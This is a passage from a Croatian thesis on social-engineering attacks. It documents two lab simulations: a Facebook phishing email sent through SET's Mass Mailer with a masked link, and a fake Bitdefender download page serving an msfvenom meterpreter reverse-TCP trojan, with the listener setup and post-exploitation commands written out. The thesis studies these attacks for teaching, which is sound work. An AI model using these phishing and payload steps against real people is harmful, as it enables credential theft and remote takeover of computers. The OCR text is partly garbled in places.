Type social engineering words:(like free-money, best-pubg-tricks)

login-password-reset
Generating MaskPhish Link...

Here is the MaskPhish URL:

Slika 11. Maskiranje domene MaskPhish skriptom

5.1.5. Umetanje maskirane poveznice u HTML kod
Ranije kreirani e-mail predlozak preuzet je u .html formatu, a kao §to je moguce
vidjeti na slici 5., jedino §to nedostaje kako bi sadrzaj bio potpun je poveznica na stvorenu
phishing stranicu. Obzirom da maliciozna poveznica u trenutku kreiranja sadrzaja e-poste u
Topol.io uredivacu nije postojala, uredivaéem teksta GNU nano naknadno je na odgovarajuce
mjesto u HTML kod ubacena lazirana MaskPhish poveznica, vidljivo na slici 12. Prikazani
HTML kod koristiti ¢e se u sljedecem koraku, prilikom slanja e-poste Zrtvi. Metodom

,kopiraj i zalijepi“ (engl. copy-paste) kod ¢e biti ubacen u tijelo poruke.
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't dorthis, please go to the sign-in page, https:/fwww.facebook.com-login-password-reset@is.gd/akWVXA

The Facebook Security Team

Slika 12. Umetanje maliciozne poveznice u HTML kod

5.1.6. Slanje phishing poste ,,zrtvi“

Uz uspjesno Klonirano sucelje za prijavu na drustvenu mrezu Facebook i laziranu
poveznicu, za kompletiranje simulacije napada potrebno je proslijediti kreirani sadrzaj
elektroni¢ke poste ciljanoj meti phishing napada. Unutar novog naredbenog terminala,
identi¢nim postupkom kao ranije pokrenut je Social Engineering Toolkit, a odabirom, ovaj
put, Mass Mailer Attack vektora napada pokrece se postupak slanja e-poste. SET omogucuje
slanje poste jednoj osobi ili veéem skupu, uvozom liste primatelja. Za potrebe simulacije
napada odabrana je prva opcija. Daljnja konfiguracija e-poste prikazana je na slici 13.
Odabirom opcije slanja e-poste jednoj osobi, SET kao ulazni parametar prima e-postu na koju
se sadrzaj $alje, $to je u slucaju ove simulacije: zrtva.phishing.napada@gmail.com. Unosom
korisnickog imena Zrtve socijalni inZenjer je u mogucnosti odabrati Zeli 1i koristiti vlastitu
adresu e-poste ili napad izvrSiti posredstvom vanjskog posluzitelja. Obzirom na
implementirane protokole za detekciju phishing napada i neZeljene poste, protokole SPF
(Sender Policy Framework), DKIM (DomainKeys Identified Mail) i DMARC (Domain-based
Message Authentication, Reporting and Conformance), za uspje$nu provedbu simulacije
odabrana je opcija koriStenja vlastite adrese. Adresa e-posSte napadaca stvorena za potrebe

simulacije nazvana je: customer.suport.facebook@gmail.com.

Navedena korisnicka imena elektronic¢ke poste ,,napadaca‘ i ,,zrtve* kori$tena u okviru

simulacije ciljano su kreirana kako bi se sto bolje docarala problematika phishing napada.
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> Send email to:zrtva.phishing.napada@gmail.com

1. Use a gmail Account for your email attack.
2. Use your own server or open relay

>1
> Your gmail email address:customer.suport.facebook@gmail.com
>The FROM NAME the user will see:Facebook Support
Email password:
> Flag this message/s as high priority? [yes|no]:yes
Do you want to attach a file - [y/n]: n
Do youwant to attach an inline file - [y/n]: n
> Email subject:Warning! Suspicious account activity
> 5Send the message as htmlor plain?'h' or 'p' [p]:h
M IMPDRTANT When finished, type END (all capital) then hit {return} on a new line.
> Enter the body of the message, type END (capitals) when finished: |

Slika 13. Konfiguriranje e-poste

Osim odlazne i dolazne adrese elektronicke poste, prilikom slanja potrebno je definirati i ime
posiljatelja: Facebook Support i predmet poste: Warning! Suspicious account activity, takoder
smisleno odabrane u cilju ostvarenja potrebne vjerodostojnosti. Odabirom opcije ,,h* definiran
je format sadrzaja koji se $alje, u ovom slu¢aju u HTML obliku. HTML kod sadrzaja e-poste,
prethodno kreiran u Topol.io uredivacu, naposljetku je kopiran i zalijepljen u posljednjem

koraku, a uspjesan proces slanja e-poste zavrSava prikazom obavijesti vidljivoj na slici 14.

[*] SET has finished sending the emails

Slika 14. Obavijest o zavrsetku slanja e-poste

5.1.7. Otvaranje pristigle phishing poste na strani ,,zrtve*
U idealnom slucaju, uspjesno poslana elektroni¢ka posta zavr$ava u pretincu zZrtve, N0
danas nerijetko zavrSava u nezeljenoj posti ili je ¢ak blokirana. Na slici 15. prikazano je

sucelje ,,zrtvinog* racuna servisa Gmail, kreiranog za elektronicku postansku komunikaciju.

[J Primarne &% Drustvene mreze @ Promocije

Facebook Support Warning! Suspicious account activity - SECURITY WARNING Your Facebook password was changed on Friday, July 16, 2021 at ... 01:26

Slika 15. Gmail postanski pretinac zrtve
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Pristigla posta prikazana na slici 15. doima se realnom i mnoge bi korisnike ponukala
da otvore i vide sadrzaj. Otvaranjem se prikazuje naizgled legitimna poruka, koja bi korisnika,
ukoliko nije dovoljno oprezan i pazljiv, mogla nasamariti da klikne na poveznicu. Ova vrsta
napada danas je izrazito Cesta, a 0sim onih manje vjestih u koristenju Interneta i racunala
opéenito, na meti napadaca nerijetko su i upuceni, visokoobrazovani ljudi. Na slici 16.
prikazan je sadrzaj pristigle phishing poste. Osim uvjerljivo srocenog teksta, detalji poput
profilne slike i imena posiljatelja te predmet poruke i poveznica koja pocinje s ,.https:// i

sadrzi ,,facebook.com* doprinose stvaranju potrebnog legitimiteta poste.

Warning! Suspicious account activity

G Facebook Support 24.srp2021.01:33 (prije 1dan)  Y¢  4

primaja v
n Facebook

SECURITY WARNING

Your Facebook password was changed on Friday, July 16, 2021 at 8:21 PM (UTC+01).

IP Address: 104.123.78.167
Estimated location: Dallas, TX, US

If you did this, you can safely disregard this email.
If you didn’t do this, please go to the sign-in page, https://www.facebook.com-login-
password-reset@is.gd/akWVXA, sign in with your User ID and create a new password

by following the instructions.

Thanks,

The Facebook Security Team

How do | know an email is from Facebook?
Links in this email will start with “https://” and contain “facebook.com.”

Facebook Ireland Ltd., Attention: Community Operations, 4 Grand Canal Square, Dublin 2, Ireland
To help keep your account secure, please don't forward this email. Learn More

Slika 16. Sadrzaj maliciozne e-poste

Klikom na dobivenu poveznicu ,,zrtva“ biva preusmjerena na lazno, klonirano sucelje
za prijavu na Facebook, u skladu s porukom e-poste. Nepazljivi korisnik nece uociti razliku u
adresi, koja se prilikom uéitavanja phishing stranice promijenila nazad u ngrok generiranu
domenu. Prije samog unosa podataka, na zaslonu zrtve pojavljuje se obavijest o upotrebi
kolacica (engl. cookies), koji se moraju prihvatiti bas kao i u slucaju prave stranice. Na slici

17. prikazana je lazno generirana obavijest 0 upotrebi i kontroli kolacica.
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Zelite li prihvatiti Facebookove kolaci¢e u ovom
pregledniku?

Kolacice upotrebljavamo kako bismo sadrzaj i usluge lak3e prilagodili
korisniku i poboljsali ih, nudili relevantne oglase te pruzali sigurnije
iskustvo. Kontrole kolacica uvijek moZete pregledati. Saznajte vise o
upotrebi i kontroli kolacica u naSim pravilima o upotrebi koladica.

Upravljanje postavkama podataka

Slika 17. Obavijest o upotrebi i kontroli kolacic¢a

Prihva¢anjem kolacdica zrtvi se prikazuju polja za unos adrese e-poste ili broja
mobitela i lozinke, u potpunosti identicno kao na pravoj login stranici drustvene mreze

Facebook, vidljivo na slici 18.

§ dza0r46biis.ngrokio x  +

€ > C A Niesigumo | d2a01246bff5.ngrokio

facebook

Prijava na Facebook

random.mail@gmail.com

Password1234 @

Zaboravili ste korisnicki ratun? - Registrirajte s& na Facebook

Slika 18. Unos adrese e-poste i lozinke na phishing stranici

Za provedbu simulacije uneseni su lazni podaci, adresa: random.mail@gmail i
lozinka: Password1234. Unosom korisni¢kih podataka i klikom na gumb za prijavu, Zrtva
biva preusmjerena na pravo, legitimno sucelje za prijavu na Facebook. Upravo to

preusmjeravanje doprinosi neopazenoj kradi podataka. NajCeSce nesvjestan onoga $to se
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dogodilo, korisnik naivno nastavlja s koristenjem usluge misle¢i kako je doSlo samo do

pogreske prilikom prijave.

5.1.8. Dohvat vjerodajnica ,,zrtve“

Kako bi napad bio uspjesan, a napadac prikupio zeljene podatke, prethodno zapoceti
procesi na strani napadac¢a moraju biti aktivni za Citavo vrijeme provedbe phishing napada.
PokusSajem prijave putem klonirane stranice unosom adrese e-poste i lozinke, korisnik
nesvjesno odaje vlastite vjerodajnice socijalnom inzenjeru. Na slici 19. prikazan je ispis
detektiranog unosa zrtve unutar SET alata kojim je kreirana lazna stranica, a kao $to je

moguce vidjeti, podaci se podudaraju s onima na slici 18.

:jazoest=21033

: Isd=AVoXfc_FRxs
:display=
:enable_profile_selector=
:isprivate=

: legacy_return=0

: profile_selector_ids=

: return_session=

:signed_next=

:trynum=1

:timezone=-120

: lgndim=eyl)3ljoxNTM2LCJoljo4NjQslmF3ljoxNTM2LCJhaCl6ODYOLCljljoyNHO=
:lgnrnd=154550_RhTe

:lgnjs=1627080694

Slika 19. Ispis prikupljenih login podataka
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5.2. Simulacija napada stvaranjem backdoor pristupa

Ideja druge simulacije zasniva se na stvaranju backdoor pristupa i eksploataciji
racunala ,,zrtve” kroz Kreiranje trojanskog konja (engl. trojan horse), zlonamjernog softvera
koji se lazno predstavlja kao koristan softver kako bi ga korisnik izvrsio, odnosno dozvolio
mu instalaciju. Kreiranjem Windows meterpreter tereta (engl. payload) temeljenog na
reverse_tcp metodi cilj je ostvariti pristup naredbenoj ljusci (engl. shell) racunala ,,Zrtve®.
Kako bi demonstracija ovog kiberneti¢kog napada bila potpuna, u okviru simulacije kreirana
je i kopija mrezne stranice tvrtke Bitdefender, tehnoloske tvrtke za kiberneticku sigurnost,
posredstvom koje je izvrSeno preuzimanje maliciozne datoteke. Pokretanjem naizgled
legitimne izvr$ne datoteke (.exe) antivirusnog softvera cilj je ostvarenje pristupa drugom
raunalu i kroz prikupljene informacije i eksploataciju sustava prikazati ozbiljnost ovakvih

napada.

Napadac Zrtva
Kali Linux Windows 10

1. korak: Napadac eksploatira racunalo Zrtve

..................... ./’1

2. korak: listener na\‘ 3. korak: Reverse TCP
portu:4444 veza prema
1.2.3.4: |
3-4:4444 |
1P: 1.2.3.4 IP: 4.3.2.1

Slika 20. Reverse Transmission Control Protocol (TCP) shell
Izvor: [65]

Meterpreter je napredni, dinamiéni i prosirivi Metasploit payload koji koristi DLL%
injekciju unutar memorije te se Siri kroz ¢itavu mrezu prilikom upotrebe. Pruza interaktivnu
naredbenu ljusku koja napadacu pruza Siroki spektar aktivnosti koje se mogu izvrsiti na
eksploatiranom sustavu. U potpunosti se nalazi u memoriji i nista ne zapisuje na disk. Ne
rezultira stvaranjem novih procesa obzirom da se ubacuje u kompromitirani proces iz kojeg
moze prije¢i na druge pokrenute procese, a upravo zbog toga mu je forenzicki trag vrlo

ogranicen, [66].

2 DLL (Dynamic Link Library) — knjiznica koja sadrzi skup kodova i podataka za obavljanje odredene
aktivnosti u Windows OS-u.
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Reverse_tcp napad je exploit, dio softvera, odnosno slijed naredbi koje iskoriStavaju
bug® ili postojece ranjivosti u aplikaciji ili sustavu s ciljem uzrokovanja neoéekivanog i
neplaniranog ponasanja, [67]. U tipicnom scenariju pristupa udaljenom sustavu, korisnik je
klijent, a ciljno racunalo posluzitelj, pri ¢emu je korisnik onaj koji inicira udaljenu shell vezu.
Obzirom da je vecina vatrozida konfigurirana na principu blokiranja svih dolaznih konekcija,
danas su Cesti napadi upravo obrnutim pristupom, upotrebom reverse_tcp metode, gdje ciljano
raCunalo, meta napada, inicira vezu s racunalom napadaca, koji na definiranom portu

osluskuje, odnosno prima konekcije i u moguénosti je provoditi razne napade, [68].

Kreiranje zlonamjerne datoteke, trojanca, izvedeno je KkoriStenjem Metasploit
Framework-a. Alatom msfvenom kreiran je payload, a koriStenjem centralizirane Metasploit

konzole msfconsole ostvaren je pristup potrebnim moguénostima radnog okvira.

Uz Metasploit, koji ¢ini sastavni dio Kali Linux operativhog sustava, za ovu
simulaciju bilo je potrebno preuzeti i instalirati programski alat HT Track, detaljnije obja$njen
u Cetvrtoj cjelini rada. Takoder su upotrijebljeni i alat ngrok te MaskPhish skripta kao i u

simulaciji prvog napada.

Tablica 4. Sinteza elemenata simuliranog napada stvaranjem backdoor pristupa

Napad stvaranjem backdoor pristupa

- . . . . Ocekivani
Cilj napada Alati MreZni preglednik rezultati
Rr;ftug lricunalu e Metasploit :Ps_tarllaf(ua o
kfei\rlgnje > Framework oscij\flars(’encj)g o
zlonamjernog * HTTiiaCk * Mozilla Firefox | | \yirole nad
programa ° nig(]r.o kPhish udaljenim
(trojanskog konja) | © Skripta MaskPhis sustavom

Kreiranje simulacije napada ostvareno je kroz sljedece korake:

1. Postavke usmjerivaca — prosljedivanje porta,

2. Kreiranje maliciozne izvr$ne datoteke,

30 Bug — greska ili mana u raunalnom programu ili sustavu koja uzrokuje neto¢an ili neo¢ekivan rezultat,
odnosno nezeljeno ponaSanje.
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Kopiranje mrezne stranice cybersecurity tvrtke Bitdefender,
Premjestanje datoteka u direktorij mreznog posluZitelja,

Umetanje izvr$ne datoteke u kloniranu mreznu stranicu,

o ok~ w

Pokretanje Apache mreznog posluzitelja i ngrok instance i maskiranje
stvarnog URL-a,

7. Pokretanje slusatelja,

8. Otvaranje poveznice i preuzimanje izvrSne datoteke na racunalu ,,zrtve® i

9. Eksploatacija ranjivosti ciljanog racunala.

5.2.1. Postavke usmjerivac¢a — prosljedivanje porta

Obzirom da je ideja simulacije demonstracija napada izvan dosega jedne lokalne
mreze, za pocetak je potrebno omogucéiti vanjskim uredajima da komuniciraju, odnosno
povezuju se s uredajima u privatnoj mrezi — mreZi ,,napadaca“. Da bi se to ostvarilo potrebno
je konfigurirati prosljedivanje Zzeljenog porta u postavkama usmjerivaca. U slucaju ove
simulacije, potrebno je mapirati eksternu, javnu IP adresu rac¢unala ,,napadac¢a“ na privatnu,
lokalnu IP adresu preko proizvoljno odabranog Transmission Control Protocol (TCP) porta.
Izvrsavanjem naredbe ,,ifconfig® u terminalu moguce je utvrditi privatnu IP adresu racunala,

potrebnu za daljnju konfiguraciju, a ispis naredbe prikazan je na slici 21.

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::7e2e:6eb0:1eae:692f prefixlen 64 scopeid Ox20<link>
ether 4c:bb:58:ae:0c;:a6 txqueuelen 1000 (Ethernet)

RX packets 281073 bytes 368326026 (351.2 MiB)
RXerrors O dropped 7036 overruns O frame 0

TX packets 164195 bytes 19901963 (18.9 MiB)
TXerrors O dropped O overruns O carrier O collisions O

Slika 21. Rezultat naredbe "ifconfig"

Nakon utvrdivanja privatne IP adrese, moguce je pristupiti podeSavanju mreznog
usmjerivaca. Pokretanjem mreznog preglednika i upisivanjem IP adrese rutera, u ovom
sluc¢aju 192.168.1.1, otvara se sucelje za konfiguraciju. Kao $to je mogucée vidjeti na slici 22.,
za potrebe simulacije podeSeno je usmjeravanje dolaznog prometa s portom 8080 kao
odrediStem na prethodno utvrdenu privatnu IP adresu: 192.168.1.8, a TCP port proizvoljno je

odabran.
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lIIIIIIIllllIlllllIlllllIlllllllllllllllllllllllllllll
A A Technical support  Logout

\ & ot

Telephony Home network Settings

Internet connection Settings for activating the port Security status

3GI/LTE Connection < Firewall active

~ Port diversions and port ferwarding

Filter and time rule ! Port activation active
Port activation What are port diversions and port forwarding? < WLAN encrypted
DMz

Please make sure port diversion rules are not created on DMZ server to
Firewall prevent improper behavior.

E-mail abuse detection TCP port forwarding or diversion

Dynamic DNS
Divert or forward public port to client port for device .

~ 8080 - 8080 8080 - 182.168.1.8 delete

+ Create other TCP diversion

Cancel Save

Slika 22. Prosljedivanje porta

5.2.2. Kreiranje maliciozne izvrSne datoteke
Uspjesno konfiguriranim prosljedivanjem porta ostvarena je potrebna povezivost izvan
domene lokalne mreze i mogu¢ je pocetak kreiranja napada. Za kreiranje maliciozne izvrsne
datoteke koristen je msfvenom, dostupan u okviru Metasploit radnog okvira. Msfvenom je
samostalni generator payload-a, a za izvrSavanje prima viSestruke parametre kojima je
moguce definirati kako ¢e datoteka biti kreirana, kojem sustavu ¢e biti namijenjena i mnoge

druge. Na slici 23. prikazana je koristena naredba i Svi zadani parametri.

Qali)-[~
windows x64 -p windows/x64/meterpreter/reverse_tcp LHOST=78.1.58.134 LPORT=8080 -'exe -0 froot/Deskiop/bitdefender.exe
No encoder specified, outputting raw payload

Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: [root/Desktop/bitdefender.exe

Slika 23. msfvenom naredba za kreiranje malicioznog payload-a

Objasnjenje parametara unesenih prilikom kreiranja zlonamjerne datoteke:

e --platform — definiranje platforme za koju je payload namijenjen.
e --arch — arhitektura definirane platforme.

e -p — odabir Zeljenog payload-a.

e LHOST — IP adresa racunala s kojega se napad pokrece.

e LPORT - port preko kojega ¢e se vrsiti komunikacija, odnosno povezivanje.
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e -f—format generirane datoteke.

e -0 — putanja spremanja generirane datoteke.

Kao sto je moguce vidjeti na slici 23., prilikom kreiranja malicioznog sadrzaja specificirane
su platforma i arhitektura na kojoj ¢e se izvrsiti. Za potrebe simulacije odabrana je 64-bitna
verzija Windows operativnog sustava, a kao payload odabran je meterpreter/reverse_tcp.

Kako bi napad bio ostvariv izvan okvira jedne lokalne mreze, kao LHOST specificirana je
javna IP adresa racunala ,,napadaca®, a za LPORT odabran je port 8080. Takoder, definiran je
i format payload-a u obliku Windows izvr$ne datoteke (.exe), a za lokaciju pohrane
generiranog sadrzaja odabran je direktorij /root/Desktop/. Kao naziv malicioznog payload-a

odabran je ,,bitdefender.exe®, kako bi odgovarao kasnije kreiranoj mreznoj stranici.

5.2.3. Kopiranje mrezne stranice cybersecurity tvrtke Bitdefender
Upravo kreirani maliciozni sadrzaj moguce je zrtvi proslijediti na brojne nacine. Za
demonstraciju ovog napada odabrana je metoda kloniranja legitimne mrezne stranice
posredstvom koje ¢e biti ostvareno preuzimanje trojanskog konja maskiranog u obliku
instalacije antivirusnog softvera tvrtke Bitdefender. Za potrebe kloniranja Zeljene mrezne
stranice upotrijebljen je programski alat HT Track. Na slici 24. prikazana je naredba kojom se
pokrecée, kao i predani parametri: naziv projekta, lokacija za pohranu, URL i Zeljena akcija

kopiranja.

Welcome to HTTrack Website Copier (Offline Browser) 3.49-2+libhtsjava.so.2
Copyright (C) 1998-2017 Xavier Roche and other contributors
To see the option list, enter a blank line or try httrack --help

Enter project name :bitdefender
Base path (return=/root/websites/) :/root/Desktopf
Enter URLs (separated by commas or blank spaces) :https:/fwww.bitdefender.com/solutions/free.html

Action:
(enter)1  Mirror Web Site(s)

Mirror Web Site(s) with Wizard

Just Get Files Indicated

Mirror ALL links in URLs (Multiple Mirror)

Test Links In URLs (Bookmark Test)

Quit
01
Mirror launched on Wed, 28 Jul 2021 14:55:14 by HTTrack Website Copier/3.49-2+libhtsjava.so.2 [XR&C0'2014]
mirroring https:/fwww.bitdefender.com/solutions/free.html with the wizard help..
Done.

Slika 24. Kopiranje mrezne stranice alatom HTTrack
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5.2.4. PremjesStanje datoteka u direktorij mreznog posluzitelja
Prije pokretanja Apache posluzitelja na kojemu ¢ée se nalaziti kopirana stranica,
potrebno je generiranu HTML stranicu i malicioznu .exe datoteku premjestiti u direktorij
posluzitelja. Unaprijed definirana lokacija Apache mreznog posluZitelja je ,,/var/www/html/“.
Osim premjeStanja, generirani .html dokument potrebno je i preimenovati u ,,index.html*
obzirom da je upravo index.html zadana datoteka koju web server posluzuje kada se mreznoj

stranici pristupa koriste¢i samo naziv domene. Na slici 25. prikazane su navedene izmjene.

File Edit View Go Help
€« 9> M K « B var www html

Places

E= Computer .

I root
= Desktop

' Trash

Documents

bitdefender.exe index.html

Music

2
&) Pictures
= Videos

@ Downloads

Devices

E File System
Network

D Browse Network

"index.html": 385.8 KiB (395044 bytes) HTML document

Slika 25. lvar/www/html/ direktorij

5.2.5. Umetanje izvrSne datoteke u kloniranu mreznu stranicu
Kopirana mrezna stranica, sada preimenovana u ,index.html“, osim originalnog
izgleda sadrzi i originalne poveznice. Kako bi klikom na Zeljeni gumb na stranici umjesto
instalacije legitimnog antivirusnog softvera bilo pokrenuto preuzimanje msfvenom
generiranog payload-a, potrebno je izmijeniti HTML kod. Naredbom ,nano
Ivariwww/html/index.html* pokrenut je GNU nano uredivac teksta. Na slici 26. prikazana je
izmjena potrebne linije koda, kojom je ostvareno da se Kklikom na gumb ,FREE

DOWNLOAD* pokrece lokalno pohranjeni payload ,,bitdefender.exe®.
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GMUnano 5.4 Jvarfwww/htmlfindex.html *

Award-winning protection against existing and new e-threats. <br>
to install and llght On computer resources. The only free antivirus you " Ayllever need.</p>
/-fr">*Available in English-<

|tdefenderV|rus Scannerfor Mac=<
1">Bitdefender Antivirus Free for Androi

Slika 26. Umetanje trojanskog konja u kloniranu stranicu

5.2.6. Pokretanje Apache mreznog posluzitelja i ngrok instance i maskiranje
stvarnog URL-a

Kako bi kreirana lazna web stranica bila dostupna na mrezi, potrebno je pokrenuti
mrezni posluzitelj. Kao i u slucaju prve simulacije, u demonstraciji napada koriSten je Apache
server, a pokretanjem ngrok instance ostvareno je tuneliranje. Naredbe upotrijebljene za
provedbu navedenih akcija su: ,,service apache?2 start“ i ,,./ngrok http 80*. Pokretanjem ngrok
tunela ostvaren je pristup kloniranoj stranici i izvan domene lokalne mreze napadaca, a S
ciljem potpunije simulacije dodatno je upotrijebljena i ranije koristena skripta MaskPhish.
Identi¢nim postupkom kao u simulaciji e-mail phishing napada, ngrok dedicirana domena
maskirana je u zeljenu domenu radi ostvarenja potrebnog legitimiteta. Na slici 27. prikazan je

MaskPhish URL kori$ten za pristup mreznoj stranici na strani ,,zrtve*.

Here is the MaskPhish URL:

Slika 27. MaskPhish URL maliciozne mreZne stranice
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5.2.7. Pokretanje slusatelja

Kako bi napad bilo moguce provesti, upravo Kreiranu poveznicu potrebno je
metodama socijalnog inzenjeringa proslijediti zrtvi. Psiholoskim utjecanjem kroz
nagovaranje, uvjeravanje i lazno predstavljanje moguce je pridobiti naivnog korisnika da
posjeti malicioznu stranicu i preuzme sadrzaj. Prije slanja poveznice Zrtvi, na strani napadaca
potrebno je jo§ samo postaviti ,,slusatelja“ (engl. listener) koji ¢e pratiti uspostavu konekcije.
Jednom pokrenut, slusatelj je cijelo vrijeme aktivan i u trenutku preuzimanja i pokretanja
bitdefender.exe izvrSne datoteke obavjeStava o pokrenutoj sesiji. IzvrSavanjem naredbe
,msfconsole” pokreée se sulelje temeljeno na naredbenom retku (engl. command line
interface) za pristup i rad s Metasploit Framework-om, u okviru kojega se postavlja slusatel;.
Na slici 28. prikazan je postupak konfiguriranja slusatelja u skladu s ranije kreiranim payload-
om.

msfé > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

msfé exploit( ) > set LHOST 192.168.1.8

LHOST =>192.168.1.8

msf6 exploit( ) = set LPORT 8080
LPORT => 8080
msf6 exploit( ) > exploit

[*] Started reverse TCP handler on 192.168.1.8:8080

Slika 28. Postavljanje slusatelja

Kao §to je vidljivo na slici 28., sluSatelj se pokrece koriStenjem Metasploit modula
,exploit/multi/handler, nakon ¢ega je potrebno definirati $to ¢e ,,slusati“, na kojoj IP adresi i
na kojem portu. Predani parametri moraju se poklapati s onim specificiranim prilikom
kreiranja payload-a. Naredbom ,,set payload windows/x64/meterpreter/reverse tcp* slusatelju
je definirano $to ¢e osluskivati, a naredbom ,,set LHOST 192.168.1.8* definirana je privatna
IP adresa ,,napadaca“. Kako bi napad bilo moguce provesti izvan lokalne mreze, potrebna je
upotreba i javne i privatne IP adrese, a prethodno objasnjenom metodom prosljedivanja porta
ostvarena je komunikacija s vanjskim uredajima. Javna IP adresa upotrijebljena je prilikom
kreiranja maliciozne datoteke, a privatna u ovom koraku, prilikom konfiguriranja slusatelja.
Naredbom ,,set LPORT 8080 definiran je port 8080, bas kao i ranije, prilikom izvrSavanja
msfvenom naredbe. Nakon unosa potrebnih parametara, naredbom ,.exploit“ moguce je
pokrenuti slusatelja, a uspjes$no izvrSen proces rezultira ispisom prikazanim na dnu slike 28.:
,.Started reverse TCP handler on 192.168.1.8:8080°.
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5.2.8. Otvaranje poveznice i preuzimanje izvrSsne datoteke na racunalu
,Zrtve‘

Na strani zrtve, otvaranjem pristigle MaskPhish poveznice ucitava se klonirana
mrezna Stranica cybersecurity tvrtke Bitdefender. lzuzev URL-a, koji se ucitavanjem
pretvorio u izvornu ngrok domenu, mrezna stranica u potpunosti legitimno djeluje. Sadrzaj
stranice prikazan je na slici 29.

O & a488as

Bitdefender 6 Support © My Account

For Home v For Business v

Bitdefender

Antivirus Free Edition

Powerful antivirus protection for Windows, the light way

Award-winning protection against existing.and new e-threats.
Quick to install and light on computer resourees. The only free antivirus you'll ever need.

[FREE DOWNLOAD

Free antivirus download, also available for macOS and Android.

MAC 0S ANDROID

Bitdefender Virus Bitdefender Antivirus
Scanner for Mac Free for Android

Slika 29. Maliciozna mreZna Stranica

Klikom na gumb ,,FREE DOWNLOAD* inicira se preuzimanje izvrSne datoteke, bas
kao u slucaju prave, izvorne stranice. Nepazljivi, nesavjesni i nedovoljno educirani pojedinci
nece niti primijetiti da je rije¢ o malicioznoj stranici, pokrenuti ¢e preuzimanje i u okviru

sko¢nog prozora prikazanog na slici 30. odabrati lokalnu pohranu zlonamjerne datoteke.

Bitdefender

=
An1 Opening bitdefender.exe

You have chosen to open:
Powerful

[%] bitdefender.exe

which is: exe File (7.0 KB)
from: http://488a5ab56ec2.ngrok.io

IANWEIgel  Would you like to save this file?

Quick to install and | savefile | [ cancel | BYCUNINSVIGIEEIeR

Slika 30. Preuzimanje maliciozne datoteke
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5.2.9. Eksploatacija kompromitiranog rac¢unala
Obzirom na sofisticiranost sigurnosnih mehanizama Windows 10 operativnog sustava,
za potrebe ove simulacije 1 demonstraciju uspjesnog napada isklju¢en je Windows Defender
Antivirus. Za razliku od legitimne izvrSne datoteke koja pokretanjem zapocinje postupak
instalacije, jednom pokrenuta instalacija preuzete maliciozne datoteke bitdefender.exe inicira
pokretanje Meterpreter sesije. Payload biva ucitan u memoriju, a na zaslonu korisnika nista se
ne ispisuje. Na slici 31. prikazana je obavijest 0 otvaranju sesije, koja napadacu signalizira

mogucnost pocetka eksploatacije zrtve.

[*] Sending stage (200262 bytes) to 109.60.46.176

[*] Meterpreter session 1 opened (192.168.1.8:8080 -> 109.60.46.176:63492) at 2021-07-3017:24:10 +0200

Slika 31. Obavijest o otvaranju Meterpreter sesije

U okviru Metasploit Meterpreter napada moguce je provoditi mnostvo razli¢itih
akcija, od prikupljanja informacija i manipulacije radom, do preuzimanja potpune kontrole

nad sustavom. U nastavku su prikazane neke od moguénosti ovog mo¢nog napada.

Izvrsavanjem naredbi prikazanih na slici 32. dohvacaju se informacije o sustavu zrtve.
Naredbom ,,sysinfo* Meterpreter konzola ispisuje informacije o eksploatiranom racunalu,
poput imena i verzije operativnog sustava, arhitekture, domene i jezika te broja ulogiranih
korisnika. Podaci o trenutno prijavljenom korisniku dohvaéaju se naredbom ,.getuid”, a
izvrSavanjem ,.ipconfig* prikazuju se informacije o mreznim suceljima i adresama udaljenog
racunala. Navedene naredbe od velikog su znacaja za odredivanje privilegija Meterpreter

sesije i provodenje daljnje eksploatacije.

meterpreter > sysinfo

Computer : DESKTOP-C40E415

oS : Windows 10 (10.0 Build 19043).
Architecture :x64

System Language : en_US

Domain :WORKGROUP

Logged On Users:2

Meterpreter :x64/windows

meterpreter > getuid
Server username: DESKTOP-C40E415\igOr

meterpreter > ipconfig
Interface 16

: Intel{R) Dual Band Wireless-AC 3160
Hardware MAC : b4:6d:83:d9:43:88
MTU 11472
IPv4 Address : 192.168.100.7
IPv4 Netmask : 255.255.255.0
IPve Address : feB0::ed87:d851:cb3b:763f
IPve Metmask : ffff: - Fif::

Slika 32. Meterpreter naredbe za dohvacanje sistemskih informacija
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Pozicioniranje u Zeljeni direktorij postize se naredbom ,,cd®, a izvrSavanjem naredbe
,pwd* moguce je provjeriti trenutnu poziciju na udaljenom racunalu. Ispis svih datoteka u
trenutno pozicioniranom direktoriju ostvaruje se naredbom ,,Is“. Na slici 33. prikazano je
izvodenje navedene tri naredbe, pri ¢emu je kao odabrana lokacija specificiran ,,Desktop* na
particiji D. IzvrS8avanjem naredbe ,,Is* izlistane su sve datoteke koje se nalaze na definiranoj
lokaciji. Za potrebe simulacije, na racunalu zrtve kreirana je tekstualna datoteka Test.txt, koja
sadrzi reCenicu ,,Ovo je testna datoteka.”. Naredbom ,,edit” Test.txt“ pokrenuto je udaljeno

uredivanje tekstualne datoteke.

meterpreter > cd D:\Desktop

meterpreter > pwd
D:\Desktop

meterpreter > Is
Listing: D:\Desktop

Mode Size Type Last modified Name

100666/rw-rw-rw- 935 fil 2021-07-0512:54:56 +0200 DIPLOMSKL.Ink

40777 /rwxrwxrwx 4096 dir 2021-07-22 22:55:41 +0200 Facebook_phish

40777 /rwxrwxrwx 4096 dir 2021-07-24 00:48:38 +0200 SCREENSHOTS

40777 [rwxrwxrwx 4096 dir 2021-07-28 15:48:45 +0200 Screenshots_napad2

100666/rw-rw-rw- 60 fil 2021-07-3019:15:02 +0200 Test.txt

100666/rw-rw-rw- 2313 fil 2021-07-07 12:44:20 +0200 [DIPLOMSKI RAD] Igor MikSi¢ - Analiza kibernetiZkih napada temeljenih na metodama socijaln
og inZenjeringa (1).lnk

100666/rw-rw-rw- 282 fil 2021-06-29 01:04:15 +0200 desktop.ini

meterpreter > edit Test.txt

Slika 33. Meterpreter naredbe za promjenu direktorija i izmjenu sadrzaja datoteke

Izvr§avanjem naredbe ,.edit“ otvara se urediva¢ teksta, prikazan na slici 34. Strelicom je

naznacena izmjena originalnog sadrzaja.

root@kali: ~ * root@kali: ~ > root@kali: ~ * root@kali: ~ * root@kali: ~ = root@kali: ~ *

|Dvoie testna datoteka. Ovo je testna datoteka.

*#xk RACUNALO JE HAKIRANO 11 *+4

Slika 34. Izmjena sadrzaja tekstualne datoteke

Spremanjem izmjena datoteka Test.txt poprima novi sadrzaj. Pozivanjem naredbe
